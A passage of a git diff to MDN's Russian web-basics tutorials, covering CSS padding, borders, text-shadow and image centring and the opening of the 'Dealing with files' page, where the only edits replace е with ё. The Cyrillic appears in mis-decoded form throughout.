<li><code>background-color: #FF9500;</code> β€” ΠΊΠ°ΠΊ ΠΈ ΠΏΡ€Π΅ΠΆΠ΄Π΅, устанавливаСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° элСмСнта. Π― использовал красновато-ΠΎΡ€Π°Π½ΠΆΠ΅Π²Ρ‹ΠΉ для Ρ‚Π΅Π»Π°, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Ρ‚Π΅ΠΌΠ½ΠΎ-синСго Ρ†Π²Π΅Ρ‚Π° для {{htmlelement("html")}} элСмСнта, Π½ΠΎ Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΠΈ экспСримСнтируйтС.</li>
<li><code>padding: 0 20px 20px 20px;</code> β€” Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ значСния, установлСнныС для padding, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ пространства Π²ΠΎΠΊΡ€ΡƒΠ³ нашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Π’ этот Ρ€Π°Π· ΠΌΡ‹ Π½Π΅ устанавливаСм padding Π½Π° Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части Ρ‚Π΅Π»Π°, Π½ΠΎ Π΄Π΅Π»Π°Π΅ΠΌ 20 пиксСлСй слСва, снизу ΠΈ справа. ЗначСния ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ свСрху, справа, снизу, слСва, Π² Ρ‚Π°ΠΊΠΎΠΌ порядкС.</li>
- <li><code>border: 5px solid black;</code> β€” просто устанавливаСт ΡΠΏΠ»ΠΎΡˆΠ½ΡƒΡŽ Ρ‡Π΅Ρ€Π½ΡƒΡŽ Ρ€Π°ΠΌΠΊΡƒ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 5 пиксСлСй со всСх сторон Ρ‚Π΅Π»Π°.</li>
+ <li><code>border: 5px solid black;</code> β€” просто устанавливаСт ΡΠΏΠ»ΠΎΡˆΠ½ΡƒΡŽ Ρ‡Ρ‘Ρ€Π½ΡƒΡŽ Ρ€Π°ΠΌΠΊΡƒ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 5 пиксСлСй со всСх сторон Ρ‚Π΅Π»Π°.</li>
</ul>
<h3 id="ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_ΠΈ_стилизация_нашСго_Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°_Π³Π»Π°Π²Π½ΠΎΠΉ_страницы">ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈ стилизация нашСго Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π³Π»Π°Π²Π½ΠΎΠΉ страницы</h3>
@@ -244,10 +244,10 @@ p, li {
<p>Π—Π΄Π΅ΡΡŒ, ΠΌΡ‹ использовали ΠΎΠ΄Π½ΠΎ довольно интСрСсноС свойство - это <code>text-shadow</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ примСняСт Ρ‚Π΅Π½ΡŒ ΠΊ тСкстовому ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ элСмСнта. Оно ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ значСния:</p>
<ul>
- <li>ΠŸΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пиксСлСй Π·Π°Π΄Π°Π΅Ρ‚ <strong>Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ смСщСниС</strong> Ρ‚Π΅Π½ΠΈ ΠΎΡ‚ тСкста β€” ΠΊΠ°ΠΊ Π΄Π°Π»Π΅ΠΊΠΎ ΠΎΠ½Π° двиТСтся ΠΏΠΎΠΏΠ΅Ρ€Π΅ΠΊ: ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒ Π΅Π΅ Π²Π»Π΅Π²ΠΎ.</li>
- <li>Π’Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пиксСлСй Π·Π°Π΄Π°Π΅Ρ‚ <strong>Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ смСщСниС</strong> Ρ‚Π΅Π½ΠΈ ΠΎΡ‚ тСкста β€” ΠΊΠ°ΠΊ Π΄Π°Π»Π΅ΠΊΠΎ ΠΎΠ½Π° двиТСтся Π²Π½ΠΈΠ·, Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅: ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π΅ Π²Π²Π΅Ρ€Ρ….</li>
- <li>Π’Ρ€Π΅Ρ‚ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пиксСлСй Π·Π°Π΄Π°Π΅Ρ‚ <strong>радиус размытия</strong> Ρ‚Π΅Π½ΠΈ β€” большСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π·ΠΌΡ‹Ρ‚ΡƒΡŽ Ρ‚Π΅Π½ΡŒ.</li>
- <li>Π§Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π΄Π°Π΅Ρ‚ основной Ρ†Π²Π΅Ρ‚ Ρ‚Π΅Π½ΠΈ.</li>
+ <li>ΠŸΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пиксСлСй Π·Π°Π΄Π°Ρ‘Ρ‚ <strong>Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ смСщСниС</strong> Ρ‚Π΅Π½ΠΈ ΠΎΡ‚ тСкста β€” ΠΊΠ°ΠΊ Π΄Π°Π»Π΅ΠΊΠΎ ΠΎΠ½Π° двиТСтся ΠΏΠΎΠΏΠ΅Ρ€Ρ‘ΠΊ: ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒ Π΅Ρ‘ Π²Π»Π΅Π²ΠΎ.</li>
+ <li>Π’Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пиксСлСй Π·Π°Π΄Π°Ρ‘Ρ‚ <strong>Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ смСщСниС</strong> Ρ‚Π΅Π½ΠΈ ΠΎΡ‚ тСкста β€” ΠΊΠ°ΠΊ Π΄Π°Π»Π΅ΠΊΠΎ ΠΎΠ½Π° двиТСтся Π²Π½ΠΈΠ·, Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅: ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Ρ‘ Π²Π²Π΅Ρ€Ρ….</li>
+ <li>Π’Ρ€Π΅Ρ‚ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пиксСлСй Π·Π°Π΄Π°Ρ‘Ρ‚ <strong>радиус размытия</strong> Ρ‚Π΅Π½ΠΈ β€” большСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π·ΠΌΡ‹Ρ‚ΡƒΡŽ Ρ‚Π΅Π½ΡŒ.</li>
+ <li>Π§Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π΄Π°Ρ‘Ρ‚ основной Ρ†Π²Π΅Ρ‚ Ρ‚Π΅Π½ΠΈ.</li>
</ul>
<p>И вновь ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ значСниями, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ.</p>
@@ -259,14 +259,14 @@ p, li {
margin: 0 auto;
}</pre>
-<p>Π’ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, ΠΌΡ‹ ΠΎΡ‚Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΡƒΠ΅ΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ выглядСло. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>margin: 0 auto</code> ΡƒΠ»ΠΎΠ²ΠΊΡƒ снова, ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅ для body, Π½ΠΎ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ Π΅Ρ‰Π΅. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("body")}} являСтся <strong>Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌ</strong>, это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ занимаСт мСсто на страницС ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ margin ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ значСния отступов, примСняСмых ΠΊ Π½Π΅ΠΌΡƒ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ, Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚, ΡΠ²Π»ΡΡŽΡ‚ΡΡ <strong>строчными</strong> элСмСнтами, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ они этого Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ margin ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ Π±Π»ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>display: block;</code>.</p>
+<p>Π’ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, ΠΌΡ‹ ΠΎΡ‚Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΡƒΠ΅ΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ выглядСло. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>margin: 0 auto</code> ΡƒΠ»ΠΎΠ²ΠΊΡƒ снова, ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅ для body, Π½ΠΎ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ Π΅Ρ‰Ρ‘. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("body")}} являСтся <strong>Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌ</strong>, это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ занимаСт мСсто на страницС ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ margin ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ значСния отступов, примСняСмых ΠΊ Π½Π΅ΠΌΡƒ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ, Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚, ΡΠ²Π»ΡΡŽΡ‚ΡΡ <strong>строчными</strong> элСмСнтами, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ они этого Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ margin ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ Π±Π»ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>display: block;</code>.</p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ инструкции ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ мСньшСй ΡˆΠΈΡ€ΠΈΠ½Ρ‹, Ρ‡Π΅ΠΌ заданная для {{HTMLElement("body")}} (600 пиксСлСй). Если вашС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ большС, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ Π²Ρ‹ΠΉΠ΄Π΅Ρ‚ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ {{HTMLElement("body")}} ΠΈ Π·Π°ΠΉΠΌΠ΅Ρ‚ пространство страницы. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ это, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ 1) ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρƒ изобраТСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <a href="https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B2%D1%8B%D0%B9_%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%80%D0%B5%D0%B4%D0%B0%D0%BA%D1%82%D0%BE%D1%80">графичСский Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€</a>, ΠΈΠ»ΠΈ 2) ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS ΠΏΡƒΡ‚Π΅ΠΌ установки свойства {{cssxref("width")}} для <code>&lt;img&gt;</code> элСмСнта мСньшСго значСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>400 px;</code>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ инструкции ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ мСньшСй ΡˆΠΈΡ€ΠΈΠ½Ρ‹, Ρ‡Π΅ΠΌ заданная для {{HTMLElement("body")}} (600 пиксСлСй). Если вашС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ большС, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ Π²Ρ‹ΠΉΠ΄Π΅Ρ‚ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ {{HTMLElement("body")}} ΠΈ Π·Π°ΠΉΠΌΡ‘Ρ‚ пространство страницы. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ это, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ 1) ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρƒ изобраТСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <a href="https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B2%D1%8B%D0%B9_%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%80%D0%B5%D0%B4%D0%B0%D0%BA%D1%82%D0%BE%D1%80">графичСский Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€</a>, ΠΈΠ»ΠΈ 2) ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS ΠΏΡƒΡ‚Ρ‘ΠΌ установки свойства {{cssxref("width")}} для <code>&lt;img&gt;</code> элСмСнта мСньшСго значСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>400 px;</code>).</p>
</div>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: НС стоит Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ, Ссли Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅ <code>display: block;</code> ΠΈ различия ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌ/строчным. Π’Ρ‹ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ CSS Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… доступных значСниях display Π½Π° нашСй страницС ΠΎ свойствС <a href="/ru/docs/Web/CSS/display">display</a>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: НС стоит Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ, Ссли Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅ <code>display: block;</code> ΠΈ различия ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌ/строчным. Π’Ρ‹ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ CSS Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… доступных значСниях display Π½Π° нашСй страницС ΠΎ свойствС <a href="/ru/docs/Web/CSS/display">display</a>.</p>
</div>
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
diff --git a/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html
index 1976fc08ea..1efcf60a76 100644
--- a/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html
+++ b/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html
@@ -20,16 +20,16 @@ translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</div>
<div class="summary">
-<p>Π’Π΅Π±-сайт состоит ΠΈΠ· мноТСства Ρ„Π°ΠΉΠ»ΠΎΠ²: тСкстового ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΠ΄Π°, стилСй, ΠΌΠ΅Π΄ΠΈΠ°-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Когда Π²Ρ‹ создаСтС Π²Π΅Π±-сайт, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ эти Ρ„Π°ΠΉΠ»Ρ‹ Π² Ρ€Π°Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΡƒΡŽ структуру Π½Π° вашСм локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, ΠΈ вСсь ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ выглядит ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹, Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ <a href="/ru/Learn/Getting_started_with_the_web/Publishing_your_website">Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΈΡ… Π½Π° сСрвСр</a>. Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <em>Работа с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ</em>Β ΠΎΠ±ΡΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ вопросы, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Π°ΠΌ слСдуСт Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Ρ€Π°Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ структуру для своСго Π²Π΅Π±-сайта.</p>
+<p>Π’Π΅Π±-сайт состоит ΠΈΠ· мноТСства Ρ„Π°ΠΉΠ»ΠΎΠ²: тСкстового ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΠ΄Π°, стилСй, ΠΌΠ΅Π΄ΠΈΠ°-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Когда Π²Ρ‹ создаётС Π²Π΅Π±-сайт, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ эти Ρ„Π°ΠΉΠ»Ρ‹ Π² Ρ€Π°Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΡƒΡŽ структуру Π½Π° вашСм локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, ΠΈ вСсь ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ выглядит ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹, Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ <a href="/ru/Learn/Getting_started_with_the_web/Publishing_your_website">Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΈΡ… Π½Π° сСрвСр</a>. Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <em>Работа с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ</em>Β ΠΎΠ±ΡΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ 